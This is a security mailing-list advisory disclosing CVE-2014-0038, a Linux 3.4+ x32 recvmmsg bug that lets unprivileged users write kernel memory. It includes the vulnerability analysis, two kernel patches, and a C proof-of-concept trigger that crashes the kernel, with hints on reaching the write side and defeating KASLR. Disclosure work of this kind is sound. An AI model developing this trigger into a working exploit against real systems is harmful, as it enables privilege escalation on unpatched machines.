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Linux 3.4+: arbitrary write with CONFIG_X86_X32 (CVE-2014-0038)
From: Solar Designer <solar () openwall com>
Date: Fri, 31 Jan 2014 04:11:16 +0400

Hi,

This issue was brought to linux-distros and security () k o 2 days ago via
the message quoted below, and it was just made public at 22:00 UTC today
(two hours ago) via grsecurity and PaX (who were the ones to find the
issue).  Normally, the person who brought this to linux-distros would be
the one responsible to bring the issue to oss-security as soon as the
issue is public, but Kees does not appear to be around at the moment and
the issue is critical enough that I find it inappropriate to delay this
posting by a few hours more, hence I am doing Kees' job by posting this
in here.

This is CVE-2014-0038 (assigned shortly after Kees sent the message
below).  I will also include PaX Team's revised patch below.

----- Forwarded message from Kees Cook <keescook () chromium org> -----

From: Kees Cook <keescook () chromium org>
Subject: 3.4+: arbitrary write with CONFIG_X86_X32
Date: Tue, 28 Jan 2014 15:52:58 -0800

This appears to be a serious bug, so I'd like to make sure distros
have time to prepare updates but PaX Team really wants to get this
fixes ASAP. When is the soonest Coordinated Release Date distros can
handle?

(I have no CVE assigned for this since I'm still waiting for my 2014
allocation.)

Reported by pageexec at
https://code.google.com/p/chromium/issues/detail?id=338594, which is
restricted, so here's the full report:
----
asmlinkage long compat_sys_recvmmsg(int fd, struct compat_mmsghdr __user *mmsg,
                                    unsigned int vlen, unsigned int flags,
                                    struct compat_timespec __user *timeout)
{
        int datagrams;
        struct timespec ktspec;

        if (flags & MSG_CMSG_COMPAT)
                return -EINVAL;

        if (COMPAT_USE_64BIT_TIME)
                return __sys_recvmmsg(fd, (struct mmsghdr __user *)mmsg, vlen,
                                      flags | MSG_CMSG_COMPAT,
                                      (struct timespec *) timeout);
/*...*/

The timeout pointer parameter is provided by userland (hence the
__user annotation) but for x32 syscalls it's simply cast to a kernel
pointer and is passed to __sys_recvmmsg which will eventually directly
dereference it for both reading and writing. Other callers to
__sys_recvmmsg properly copy from userland to the kernel first.

The impact is a sort of arbitrary kernel write-where-what primitive by
unprivileged users where the to-be-written area must contain valid
timespec data initially (the first 64 bit long field must be positive
and the second one must be < 1G).

The bug was introduced by commit
http://git.kernel.org/linus/ee4fa23c4b (other uses of
COMPAT_USE_64BIT_TIME seem fine) and should affect all kernels since
3.4 (and perhaps vendor kernels if they backported x32 support along
with this code). Note that CONFIG_X86_X32_ABI gets enabled at build
time and only if CONFIG_X86_X32 is enabled and ld can build x32
executables.

Suggested fix:
Signed-off-by: PaX Team <pageexec () freemail hu>

--- a/net/compat.c  2014-01-20 12:36:54.372997752 +0100
+++ b/net/compat.c      2014-01-28 02:06:59.265506171 +0100
@@ -780,22 +780,25 @@
        if (flags & MSG_CMSG_COMPAT)
                return -EINVAL;

-       if (COMPAT_USE_64BIT_TIME)
-               return __sys_recvmmsg(fd, (struct mmsghdr __user *)mmsg, vlen,
-                                     flags | MSG_CMSG_COMPAT,
-                                     (struct timespec *) timeout);
-
        if (timeout == NULL)
                return __sys_recvmmsg(fd, (struct mmsghdr __user *)mmsg, vlen,
                                      flags | MSG_CMSG_COMPAT, NULL);

-       if (get_compat_timespec(&ktspec, timeout))
+       if (COMPAT_USE_64BIT_TIME) {
+               if (copy_from_user(&ktspec, timeout, sizeof(ktspec)))
+                       return -EFAULT;
+       } else if (get_compat_timespec(&ktspec, timeout))
                return -EFAULT;

        datagrams = __sys_recvmmsg(fd, (struct mmsghdr __user *)mmsg, vlen,
                                   flags | MSG_CMSG_COMPAT, &ktspec);
-       if (datagrams > 0 && put_compat_timespec(&ktspec, timeout))
-               datagrams = -EFAULT;
+       if (datagrams > 0) {
+               if (COMPAT_USE_64BIT_TIME) {
+                       if (copy_to_user(timeout, &ktspec, sizeof(ktspec)))
+                               datagrams = -EFAULT;
+               } else if (put_compat_timespec(&ktspec, timeout))
+                       datagrams = -EFAULT;
+       }

        return datagrams;
 }

So I couldn't help it and created a simple PoC trigger based on the
example in the manpage. As it is, it'll just trigger a null-deref oops
on the read side:

BUG: unable to handle kernel NULL pointer dereference at 0000000000000009
IP: [<ffffffff82a333cb>] __sys_recvmmsg+0x3b/0x310

By passing an appropriate value for the timeout pointer one can
trigger the write side too. By the way, this also allows scanning the
kernel address space and even reveal KASLR (try every 2MB, if no oops
-> found the kernel), no doubt to Kees' delight :).

/*
 * PoC trigger for the linux 3.4+ recvmmsg x32 compat bug, based on the manpage
 *
 * https://code.google.com/p/chromium/issues/detail?id=338594
 *
 * $ while true; do echo $RANDOM > /dev/udp/127.0.0.1/1234; sleep 0.25; done
 */

#define _GNU_SOURCE
#include <netinet/ip.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <unistd.h>
#include <sys/syscall.h>

#define __X32_SYSCALL_BIT 0x40000000
#undef __NR_recvmmsg
#define __NR_recvmmsg (__X32_SYSCALL_BIT + 537)

int
main(void)
{
#define VLEN 10
#define BUFSIZE 200
#define TIMEOUT 1
    int sockfd, retval, i;
    struct sockaddr_in sa;
    struct mmsghdr msgs[VLEN];
    struct iovec iovecs[VLEN];
    char bufs[VLEN][BUFSIZE+1];
    struct timespec timeout;

    sockfd = socket(AF_INET, SOCK_DGRAM, 0);
    if (sockfd == -1) {
        perror("socket()");
        exit(EXIT_FAILURE);
    }

    sa.sin_family = AF_INET;
    sa.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
    sa.sin_port = htons(1234);
    if (bind(sockfd, (struct sockaddr *) &sa, sizeof(sa)) == -1) {
        perror("bind()");
        exit(EXIT_FAILURE);
    }

    memset(msgs, 0, sizeof(msgs));
    for (i = 0; i < VLEN; i++) {
        iovecs[i].iov_base         = bufs[i];
        iovecs[i].iov_len          = BUFSIZE;
        msgs[i].msg_hdr.msg_iov    = &iovecs[i];
        msgs[i].msg_hdr.msg_iovlen = 1;
    }

    timeout.tv_sec = TIMEOUT;
    timeout.tv_nsec = 0;

//    retval = recvmmsg(sockfd, msgs, VLEN, 0, &timeout);
//    retval = syscall(__NR_recvmmsg, sockfd, msgs, VLEN, 0, &timeout);
    retval = syscall(__NR_recvmmsg, sockfd, msgs, VLEN, 0, (void *)1ul);
    if (retval == -1) {
        perror("recvmmsg()");
        exit(EXIT_FAILURE);
    }

    printf("%d messages received\n", retval);
    for (i = 0; i < retval; i++) {
        bufs[i][msgs[i].msg_len] = 0;
        printf("%d %s", i+1, bufs[i]);
    }
    exit(EXIT_SUCCESS);
}
----

-Kees

-- 
Kees Cook
Chrome OS Security

----- End forwarded message -----

----- Forwarded message from PaX Team <pageexec () freemail hu> -----

From: "PaX Team" <pageexec () freemail hu>
Subject: Re: 3.4+: arbitrary write with CONFIG_X86_X32
Date: Thu, 30 Jan 2014 14:45:53 +0100

On 30 Jan 2014 at 14:24, security () kernel org wrote:

On 29 Jan 2014 at 20:06, H. Peter Anvin wrote:

Longer term we may want to do something fancier with
get_compat_timespec() and put_compat_timespec() to encapsulate
COMPAT_USE_64BIT_TIME, but this is not the time.

Yeah, I didn't go that route because these functions have a dozen
other callers (including gems like compat_get_timespec calling
get_compat_timespec where the former does treat x32) and I didn't
want to find out if all of them would need the x32 treatment when
fixing this bug is much more urgent.

Actually, I think we can use compat_*_timespec here as I effectively
ended up open coding them, so here's the new and simpler patch:

Signed-off-by: PaX Team <pageexec () freemail hu>

--- a/net/compat.c      2014-01-20 12:36:54.372997752 +0100
+++ b/net/compat.c      2014-01-30 14:29:15.385082301 +0100
@@ -780,21 +780,16 @@
        if (flags & MSG_CMSG_COMPAT)
                return -EINVAL;
 
-       if (COMPAT_USE_64BIT_TIME)
-               return __sys_recvmmsg(fd, (struct mmsghdr __user *)mmsg, vlen,
-                                     flags | MSG_CMSG_COMPAT,
-                                     (struct timespec *) timeout);
-
        if (timeout == NULL)
                return __sys_recvmmsg(fd, (struct mmsghdr __user *)mmsg, vlen,
                                      flags | MSG_CMSG_COMPAT, NULL);
 
-       if (get_compat_timespec(&ktspec, timeout))
+       if (compat_get_timespec(&ktspec, timeout))
                return -EFAULT;
 
        datagrams = __sys_recvmmsg(fd, (struct mmsghdr __user *)mmsg, vlen,
                                   flags | MSG_CMSG_COMPAT, &ktspec);
-       if (datagrams > 0 && put_compat_timespec(&ktspec, timeout))
+       if (datagrams > 0 && compat_put_timespec(&ktspec, timeout))
                datagrams = -EFAULT;
 
        return datagrams;

----- End forwarded message -----

Both patches were Acked-by: H. Peter Anvin <hpa () linux intel com> (when
each was the current patch), and I guess the newer patch (from the
second forwarded message above) is preferable (the one I expect to see
committed soon).

It appears, from the linux-distros discussion, that a couple of distros
are going to release emergency security updates for this.  If they did
not express interest in an extra day of embargo, the issue would likely
be made public on the first day (not on the second).

In one of the messages on linux-distros, I commented on whether using
the list for an issue like this was even appropriate, as follows:

"BTW, if this were not limited to x32, I'd say that posting the info
directly to linux-distros (rather than e.g. posting a "please contact me
for details if affected and need more detail") would be inappropriate,
because it's a high impact bug, whereas this list is for medium overall
severity issues:

http://oss-security.openwall.org/wiki/mailing-lists/distros

"To report a non-public medium severity 1) security issue to one of
these lists, send e-mail to distros [at] ..."

"1) Medium overall severity as estimated by risk probability and risk
impact product.  It is recommended that low severity security issues be
reported to the public oss-security list right away, whereas high
severity ones be reported to the affected vendors directly."

It's the x32 aspect that reduces the overall severity in this case."

Arbitrary selection of additional detail/commentary, from Twitter:

During the first day (of two) of embargo of this vuln:

<grsecurity> My hatred for embargoes and vendor-sec-like lists cannot be adequately expressed

Right after the coordinated disclosure date/time (today):

<grsecurity> If you're running Linux 3.4 or newer and enabled CONFIG_X86_X32 , you need to disable it or update 
immediately; upstream vuln CVE-2014-0038
<grsecurity> It doesn't get any more serious, nearly an arbitrary write which nothing (including grsecurity) will 
prevent exploitation of
<grsecurity> To give you an idea of the level of testing that went into X32 support, a syscall fuzzer trying random 
syscall numbers could have found this
<grsecurity> Yet it sat in the kernel for over a year and a half
<grsecurity> I would not be surprised to see an exploit for this within the next few days
<@grsecurity> @awasi1001 Our latest test patch uploaded today contains the fix.  The stable 3.2 tree is not affected.

<grsecurity> In case there's confusion, this vuln is not about 32bit userland on 64bit (CONFIG_X86_32), but the new X32 
ABI.  Ubuntu enables it recently

<djrbliss> Seems the X32 privesc (CVE-2014-0038) was introduced in the final five lines of this commit: 
http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/net/compat.c?id=ee4fa23c4bfcc635d077a9633d405610de45bc70

Alexander


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